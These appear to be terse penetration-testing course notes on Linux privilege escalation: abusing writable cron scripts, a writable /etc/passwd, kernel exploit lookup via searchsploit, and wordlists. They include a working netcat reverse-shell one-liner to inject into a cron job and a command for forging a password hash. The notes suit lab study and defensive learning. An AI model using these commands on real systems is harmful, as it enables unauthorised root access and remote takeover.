Linux Privilege Escalation
Insecure file permissions
Cron based time job
Inspect cron log for running jobs
1 | grep "CRON" /var/log/cron.log |
run every 5 mins
ls -lah to show its permission (rwxrwxrwx)
add following to the script (See Reverse-shell-Cheat-Sheet)
1 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.11.0.4 1234 >/tmp/f |
Insecure /etc/passwd Permission
if a password hash is present in the second column of a /etc/passwd user record, it is considered valid for authentication and it takes precedence over the respective entry in /etc/shadow if available
Generate password hash
1 | openssl passwd evil |
Linux Kernel Vulnerabilities
Lab machine: ssh n00b@10.11.0.129
inspecting the /etc/issue file
1 | uname -r |
1 | searchsploit linux kernel ubuntu 16.04 |
Compile C/C++
match the architecture of the target machine
Password Attacks
Standard wordlist
Kali linux has some stored in /usr/share/wordlists/